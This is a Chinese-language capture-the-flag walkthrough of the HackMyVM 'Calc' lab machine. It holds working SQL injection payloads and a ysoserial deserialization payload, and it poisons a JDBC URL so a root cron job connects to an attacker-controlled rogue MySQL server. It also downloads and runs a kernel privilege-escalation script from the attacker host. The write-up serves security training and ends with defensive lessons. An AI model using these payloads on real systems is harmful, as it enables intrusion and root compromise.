HackMyVM Calc 通关记录|SQL 注入与 JDBC 反序列化提权
靶机链接:Calc
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Calc | 192.168.1.114 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Apache、8080/tcp Tomcat / Spring Boot | 确定 Web 与后端 Java 服务是主要攻击面 |
| SQL 注入 | /api/track/1' 返回 MariaDB 语法错误 | 确认后端直接拼接 Track ID |
| 数据枚举 | UNION 注入读取 webapp_users 与 system_config | 获得 SSH 凭据和 JDBC 配置线索 |
| 初始访问 | Jimmy:JimmyThumb_Calc_2010 SSH 登录 | 获得普通用户权限和 user flag |
| 本地枚举 | TODO.txt、/etc/cron.d/calc_sync、/opt/backend_sync.jar | 发现 root 定时任务与数据库密码 |
| JDBC 反序列化 | 毒化 system_config.jdbc_url 指向恶意 MySQL | 利用 root cron 触发 Java 反序列化 |
| Root 权限 | CC6 载荷执行 chmod u+s /bin/bash 后使用 bash -p | 获得 root flag |
| 备用提权 | 内核版本命中 Copy Fail / CVE-2026-31431 | JDBC 路线之外的本地提权备选 |
0x02 侦察与信息收集 (Reconnaissance)
1. 全端口扫描
使用 Nmap 对靶机进行全端口和服务版本扫描:
nmap -sV -sC -p- --min-rate 1000 -T4 192.168.1.114
服务列表摘要:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open http Apache httpd 2.4.66 ((Debian))
8080/tcp open http Apache Tomcat (language: en)
| 端口 | 服务 | 判断 |
|---|---|---|
22/tcp | SSH | 需要凭据,优先作为后续初始访问入口 |
80/tcp | Apache HTTP | 主要 Web 攻击面 |
8080/tcp | Tomcat / Spring Boot | 暂未发现直接可用接口,可能是后端同步服务 |
2. Web 首页分析
访问 80 端口首页可以看到一个 Track ID 查询功能:
curl -s http://192.168.1.114/
核心前端逻辑如下:
function fetchTrack() {
var id = document.getElementById('trackId').value;
fetch('/api/track/' + id)
.then(response => response.text())
.then(data => document.getElementById('output').innerText = data);
}
关键入口是 /api/track/<id>。前端只是把输入拼到 URL,真正的风险需要看后端如何处理这个 id。
3. 目录与后端探测
目录枚举没有发现明显后台:
gobuster dir -u http://192.168.1.114 -w /usr/share/wordlists/dirb/common.txt
/index.html (Status: 200)
/server-status (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
访问 8080 端口根路径返回 Spring Boot 风格 JSON:
curl -s http://192.168.1.114:8080/
{"status":404,"error":"Not Found","path":"/"}
8080 暂时没有直接入口,先把注意力放到 80 端口的 /api/track/<id>。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. SQL 注入确认
UNION 注入的通用枚举步骤见知识库:UNION SQL 注入枚举。
正常请求:
curl -s http://192.168.1.114/api/track/1
Track: Calc. - Lyric: The cross-purposes was just our destiny after all
单引号测试:
curl -s "http://192.168.1.114/api/track/1'"
Calc DB Syntax Error: You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right syntax to use
near ''' at line 1
这里已经确认两个问题:
- Track ID 被直接拼接进 SQL。
- 数据库错误被原样回显给用户。
2. UNION 注入枚举
先确认列数:
curl -s "http://192.168.1.114/api/track/1 ORDER BY 3-- -"
curl -s "http://192.168.1.114/api/track/1 ORDER BY 4-- -"
ORDER BY 3 正常,ORDER BY 4 报错,因此查询结果是 3 列。
提取数据库基本信息:
curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,@@version,3-- -"
curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,user(),3-- -"
curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,database(),3-- -"
结果摘要:
| 项目 | 值 |
|---|---|
| 数据库版本 | 10.5.29-MariaDB-0+deb11u1 |
| 当前用户 | calc_user@localhost |
| 当前数据库 | calc_db |
枚举表名:
curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -"
track_info,webapp_users,access_logs,system_config
3. 读取凭据与配置
读取 webapp_users:
curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,GROUP_CONCAT(id,':',username,':',password SEPARATOR '||'),3 FROM webapp_users-- -"
Track: 1:Jimmy:JimmyThumb_Calc_2010 - Lyric: 3
读取 system_config:
curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,GROUP_CONCAT(id,':',config_name,':',jdbc_url SEPARATOR '||'),3 FROM system_config-- -"
Track: 1:master_sync_node:jdbc:mysql://127.0.0.1:3306/calc_db?useSSL=false - Lyric: 3
阶段结论:
| 发现 | 影响 |
|---|---|
webapp_users 明文密码 | 直接获得 SSH 凭据 |
system_config.jdbc_url | 暗示后续存在 JDBC 连接逻辑 |
calc_user 数据库身份 | 后续需要确认是否能修改 system_config |
0x04 核心攻击链:SQL 注入获取初始权限
1. SSH 登录
使用 SQL 注入得到的凭据登录:
sshpass -p 'JimmyThumb_Calc_2010' ssh Jimmy@192.168.1.114
uid=1000(Jimmy) gid=1000(Jimmy) groups=1000(Jimmy)
Linux calc 4.19.0-27-amd64 x86_64 GNU/Linux
2. User Flag
cat /home/Jimmy/user.txt
flag{2f3ca14d6753f790ee1a9e5b826c65e3}
3. 本地枚举
先看用户目录:
ls -la /home/Jimmy/
-r-------- 1 Jimmy Jimmy 39 Apr 5 05:34 user.txt
-rw-r--r-- 1 root root 234 Apr 5 06:26 TODO.txt
lrwxrwxrwx 1 Jimmy Jimmy 9 Apr 5 09:44 .bash_history -> /dev/null
lrwxrwxrwx 1 Jimmy Jimmy 9 Apr 5 09:44 .mysql_history -> /dev/null
TODO.txt 是关键:
1. Migrate Tomcat to port 80 (Currently on 8080 via reverse proxy).
2. Secure local database credentials (calc_user : vocaloid_miku_01).
3. Fix backend_sync.jar reading system_config in cron.
Do not change 700 permissions on the jar!
这份待办事项暴露了数据库密码、cron 任务和 backend_sync.jar 的行为。再确认 cron:
cat /etc/cron.d/calc_sync
ls -la /opt/backend_sync.jar
* * * * * root /usr/bin/java -jar /opt/backend_sync.jar >/dev/null 2>&1
-rw-r--r-- 1 root root 1594850 Apr 5 09:30 /opt/backend_sync.jar
backend_sync.jar 每分钟以 root 身份执行,文件可读不可写。这时提权方向已经很清楚:不能改 JAR,就看 JAR 读取的配置能不能被控制。
0x05 权限提升 (Privilege Escalation)
路线总览
常规提权面先过一遍:
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
sudo、异常 SUID 和 capability 都没有直接突破口。后续可分成两条独立提权路线:
| 路线 | 核心条件 | 结果 |
|---|---|---|
| 路线 A:JDBC 反序列化 | 可修改 system_config.jdbc_url,root cron 会执行 backend_sync.jar | 诱导 root Java 进程连接恶意 MySQL,触发反序列化 |
| 路线 B:Copy Fail / CVE-2026-31431 | 内核 4.19.0-27-amd64 处于影响范围,普通用户可执行本地代码 | 利用页面缓存污染获得 root shell |
路线 A 更贴合靶机自身业务逻辑,路线 B 是同一普通用户权限下的内核本地提权路线。两条路线都可以从 Jimmy 权限继续拿到 root。
路线 A:JDBC 反序列化提权
MySQL Connector/J 反序列化的条件判断和通用链路见知识库:MySQL Connector/J JDBC 反序列化。
A.1 分析 backend_sync.jar
把 JAR 下载到攻击机后反编译:
sshpass -p 'JimmyThumb_Calc_2010' scp Jimmy@192.168.1.114:/opt/backend_sync.jar .
jadx -d jadx_output backend_sync.jar
反编译后核心逻辑位于 jadx_output/sources/com/sync/SyncTask.java,可以先直接查看这个 Java 文件:
sed -n '1,160p' jadx_output/sources/com/sync/SyncTask.java
SyncTask.java 中的关键逻辑可以简化成这样:
// jadx_output/sources/com/sync/SyncTask.java
Connection conn = DriverManager.getConnection(
"jdbc:mysql://127.0.0.1:3306/calc_db?useSSL=false",
"calc_user",
"vocaloid_miku_01");
ResultSet rs = conn.createStatement().executeQuery(
"SELECT jdbc_url FROM system_config WHERE config_name='master_sync_node'");
if (rs.next()) {
DriverManager.getConnection(rs.getString("jdbc_url")).close();
}
也就是说:
- root cron 启动 JAR。
- JAR 用硬编码数据库密码连接本地 MariaDB。
- JAR 从
system_config读取jdbc_url。 - JAR 对这个 URL 发起第二次 JDBC 连接。
如果 calc_user 能修改 system_config.jdbc_url,就可以让 root 进程连接攻击机控制的 MySQL 服务。
A.2 反序列化条件确认
JAR 中存在关键依赖和类:
com/mysql/jdbc/ResultSetImpl.class
com/mysql/jdbc/interceptors/ServerStatusDiffInterceptor.class
org/apache/commons/collections/...
META-INF/maven/commons-collections/commons-collections/pom.properties
commons-collections 版本为 3.2.1。这一组合满足经典 MySQL Connector/J 反序列化利用条件:
| 条件 | 状态 | 说明 |
|---|---|---|
| 可控 JDBC URL | 成立 | system_config.jdbc_url 可被数据库用户修改 |
| 可触发拦截器 | 成立 | ServerStatusDiffInterceptor 存在 |
| 可启用反序列化 | 成立 | JDBC URL 可加入 autoDeserialize=true |
| Gadget 链 | 成立 | JAR 打包了 commons-collections 3.2.1 |
| root 执行上下文 | 成立 | cron 以 root 执行 JAR |
A.3 生成 CC6 载荷
使用 ysoserial 生成 CommonsCollections6 载荷。这里选择 CC6,是因为它比 CC1 更适合 JDK 11 环境。
cd /home/kali/wp/calc
java --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/javax.management=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 'chmod u+s /bin/bash' \
> payload_cc6.ser
确认 Java 序列化 magic bytes:
xxd payload_cc6.ser | head -1
00000000: aced 0005 7372 ...
A.4 启动恶意 MySQL 服务
这里使用自写的最小 MySQL 协议服务端:rogue_mysql.py。
python3 rogue_mysql.py payload_cc6.ser 3307
脚本的关键点是:当客户端执行 SHOW SESSION STATUS 时,返回一个带有序列化载荷的 BLOB 字段。
字段类型:0xFC FIELD_TYPE_BLOB
字段标志:0x0090 BLOB_FLAG | BINARY_FLAG
字符集: 0x3F binary
内容: 0xACED... Java serialized payload
这会让 MySQL Connector/J 在 autoDeserialize=true 时进入 ObjectInputStream.readObject()。
调用链简化如下:
DriverManager.getConnection(evil_jdbc_url)
-> ServerStatusDiffInterceptor.preProcess()
-> SHOW SESSION STATUS
-> 恶意 MySQL 返回 BLOB 序列化数据
-> ResultSetImpl.getObject()
-> ObjectInputStream.readObject()
-> CommonsCollections6 gadget
-> chmod u+s /bin/bash
A.5 毒化 JDBC URL 并等待 cron
用 Jimmy 登录后,通过泄露的数据库凭据修改配置:
mysql -ucalc_user -pvocaloid_miku_01 calc_db -e \
"UPDATE system_config
SET jdbc_url='jdbc:mysql://192.168.1.113:3307/calc_db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor'
WHERE config_name='master_sync_node';
SELECT jdbc_url FROM system_config WHERE config_name='master_sync_node';"
等待 root cron 运行:
for i in $(seq 1 12); do
stat -c "%A" /bin/bash
sleep 10
done
触发成功后:
-rwsr-xr-x
A.6 获取 root
bash -p -c "id; cat /root/root.txt"
uid=1000(Jimmy) gid=1000(Jimmy) euid=0(root) groups=1000(Jimmy)
flag{4a94a742554abf511c6acd51b2aff7e8}
复现结束后建议恢复状态:
bash -p -c "chmod u-s /bin/bash"
mysql -ucalc_user -pvocaloid_miku_01 calc_db -e \
"UPDATE system_config
SET jdbc_url='jdbc:mysql://127.0.0.1:3306/calc_db?useSSL=false'
WHERE config_name='master_sync_node';"
路线 B:Copy Fail 内核提权
靶机内核是 4.19.0-27-amd64,命中 Copy Fail / CVE-2026-31431 的影响范围。漏洞原理和通用利用方式已整理到知识库:CVE-2026-31431 Copy Fail Linux 内核提权。
B.1 分发利用脚本
攻击机开启临时 HTTP 服务:
cd /home/kali/wp/GameShell5/tools
python3 -m http.server 8080 --bind 0.0.0.0
靶机下载并执行 Python ctypes 版本copyfail_cmd.py:
cd /tmp
wget -q http://192.168.1.113:8080/copyfail_cmd.py -O copyfail_cmd.py
python3 copyfail_cmd.py 'id; whoami; cat /root/root.txt'
B.2 获取 root
成功时可以直接得到 root 上下文和 root flag:
uid=0(root) gid=1000(Jimmy) groups=1000(Jimmy)
root
flag{4a94a742554abf511c6acd51b2aff7e8}
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/Jimmy/user.txt - 内容:
flag{2f3ca14d6753f790ee1a9e5b826c65e3}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{4a94a742554abf511c6acd51b2aff7e8}
复盘总结
-
入口点很小,但后端风险很大。 页面只有一个 Track ID 查询框,后端却把输入直接拼进 SQL。前端简单不代表攻击面小,真正要看数据进入后端后的处理方式。
-
错误回显加速了漏洞利用。 MariaDB 报错直接返回浏览器,让列数、数据库类型和注入语法都变得容易确认。生产系统应该给用户返回泛化错误,把详细错误写入服务端日志。
-
明文密码让 SQL 注入直接变成 SSH 初始访问。
webapp_users中的JimmyThumb_Calc_2010没有哈希保护,数据库一旦被读,系统账号就随之失守。 -
TODO.txt 是第二阶段的关键泄露。 它不仅泄露了
calc_user:vocaloid_miku_01,还说明backend_sync.jar会被 cron 调用并读取system_config,等于把提权方向写在了用户目录里。 -
JDBC URL 是高危配置面。 当 root 进程读取数据库里的 JDBC URL 并发起连接时,这个字段就不只是“配置”,而是可被攻击者控制的执行路径。
autoDeserialize=true、ServerStatusDiffInterceptor和 classpath 中的 gadget 链组合在一起,最终导致 root RCE。 -
Copy Fail 应作为备用路径归档。 本靶机内核确实满足 Copy Fail 提权条件,但从靶机设计看,JDBC 反序列化更贴合主线。把 Copy Fail 放在知识库中沉淀,通关文章里只保留命中条件和备用说明,会更清爽。